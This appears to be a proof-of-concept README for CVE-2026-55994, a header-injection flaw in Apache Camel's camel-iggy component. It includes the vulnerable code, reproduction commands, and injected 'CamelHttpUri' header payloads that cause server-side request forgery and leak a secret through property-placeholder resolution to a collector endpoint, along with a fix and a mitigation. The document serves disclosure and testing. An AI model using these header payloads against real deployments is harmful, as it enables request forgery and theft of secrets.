Share
## https://sploitus.com/exploit?id=A333DCF7-9A34-5920-A244-48D869A69CC4
# camel-iggy User-Header Injection Reproducer (CVE-2026-55994)

This project demonstrates a **message-header injection** in Apache Camel's `camel-iggy` component, tracked as
**CVE-2026-55994**. The Iggy consumer copies an inbound message's **user-headers** onto the Camel Exchange
**without any `HeaderFilterStrategy`**, so anyone who can publish to the consumed Iggy topic can inject Camel
control headers โ€” notably `CamelHttpUri`:

```java
// IggyFetchRecords.createExchange (affected 4.18.2) โ€” Iggy message user-headers -> Exchange headers, unfiltered
message.userHeaders().ifPresent(userHeaders -> {
    Map stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
            e -> e.getKey(),
            e -> e.getValue().value()));
    exchange.getIn().setHeaders(stringUserHeaders);
});
```

When the route bridges this consumer into an HTTP producer, an injected `CamelHttpUri` **overrides the producer's
target URI** โ€” server-side request forgery. The camel-http producer also calls `resolvePropertyPlaceholders()` on
that attacker-controlled URI, so an injected `{{...}}` reference is expanded to its real value and sent out โ€”
disclosing environment variables, application properties, or vault secrets.

This PoC demonstrates the impact as **SSRF plus secret disclosure (CWE-20 โ†’ CWE-918 + CWE-200)**. It is one of
three sibling components fixed together under CAMEL-23532 (with `camel-vertx-websocket`, CVE-2026-46726, and
`camel-atmosphere-websocket`, CVE-2026-55993).

Advisory: https://camel.apache.org/security/CVE-2026-55994.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-iggy` |
| **Affected Class** | `org.apache.camel.component.iggy.IggyFetchRecords#createExchange` (maps message user-headers to Exchange headers with no filter) |
| **CWE** | CWE-20 (Improper Input Validation) โ†’ CWE-918 (SSRF) + CWE-200 (Information Exposure) |
| **Impact** | SSRF and disclosure of secrets via property-placeholder resolution on the injected URI |
| **Preconditions** | A route bridges an `iggy:` consumer into an HTTP producer; attacker can publish to the consumed topic |
| **Affected Versions** | From 4.17.0 before 4.18.3, from 4.19.0 before 4.21.0 (camel-iggy was introduced in 4.17.0) |
| **Fixed Versions** | 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23532 (PR [apache/camel#23285](https://github.com/apache/camel/pull/23285)) |
| **Credit** | Kamalpreet Singh |

> The fix applies a `HeaderFilterStrategy` to the inbound mapping, filtering `Camel*` / `camel*` headers so they
> can no longer be injected through an Iggy message's user-headers.

## How this reproducer exercises the real vulnerable code

The vulnerable `IggyFetchRecords.createExchange(...)` is run **unchanged, on a forged Iggy message** whose
user-headers are attacker-controlled. The resulting Exchange flows through the **real route** to the **real
camel-http producer**, so the SSRF and the `{{...}}` property-placeholder disclosure are genuine.

> **Why a live Iggy broker is not used.** The `iggy:` consumer's `doStart` opens a connection to a running Iggy
> server, so the route cannot start without one โ€” and the Apache Iggy server requires `io_uring`, which Docker's
> default seccomp profile blocks (it runs only with `--privileged`), making it unsuitable for a portable,
> shareable PoC. The vulnerable `createExchange` itself needs no broker, so the driver constructs the real
> `IggyFetchRecords` and invokes it directly with the forged message. The sibling `camel-vertx-websocket` PoC
> (CVE-2026-46726) drives the identical defect through a live transport.

## The victim route

In a real deployment: `from("iggy:orders?streamName=demo&...").to("http://.../legit-backend")`. Here the
downstream half is `from("direct:iggy-delivery").to("http://localhost:8080/legit-backend")`, fed the poisoned
Exchange built by the real `createExchange`.

## Repository layout

```
CVE-2026-55994/
โ”œโ”€โ”€ pom.xml                 # camel-iggy + camel-http 4.18.2
โ”œโ”€โ”€ Dockerfile
โ”œโ”€โ”€ docker-compose.yml      # single self-contained service
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ src/main/
    โ”œโ”€โ”€ java/com/example/
    โ”‚   โ”œโ”€โ”€ Application.java
    โ”‚   โ”œโ”€โ”€ VictimRoute.java        # downstream link -> http://localhost:8080/legit-backend
    โ”‚   โ”œโ”€โ”€ SinkController.java     # SSRF collector: /legit-backend, /internal/secret, /collect
    โ”‚   โ””โ”€โ”€ ExploitController.java  # forges an Iggy message + runs the real createExchange (injects CamelHttpUri)
    โ””โ”€โ”€ resources/
        โ””โ”€โ”€ application.properties  # app.secret=... (leaked via placeholder resolution)
```

## Prerequisites

- Docker and Docker Compose
- Java 17+ and Maven 3.8+

## Reproduction Steps

```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```

### Expected output

```
1) Ordinary message (user-header x-order-id=A-1001)
     reached /legit-backend: true
     reached /internal/secret: false

2) Injected user-header 'CamelHttpUri=http://localhost:8080/internal/secret'  (SSRF)
     server-side request reached /internal/secret: true

3) Injected user-header 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}'  (secret disclosure)
     attacker's collector received leak = SUPER-SECRET-abc123
     equals the app's real secret: true

>>> SSRF=true, secret-disclosure=true
```

## Recommended Fix

Upgrade to **4.18.3 / 4.21.0** (CAMEL-23532). After upgrading, the consumer filters `Camel*` headers from the
Iggy message user-headers, so `CamelHttpUri` and other control headers can no longer be injected.

## Mitigation

Until upgrading, do not bridge an `iggy:` consumer directly into an HTTP producer without stripping Camel control
headers first (for example `removeHeaders("CamelHttp*")`), and set the producer's target from a trusted source (or
use `bridgeEndpoint=true`).

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed and
fixed** vulnerability. Do not use it against systems without explicit permission.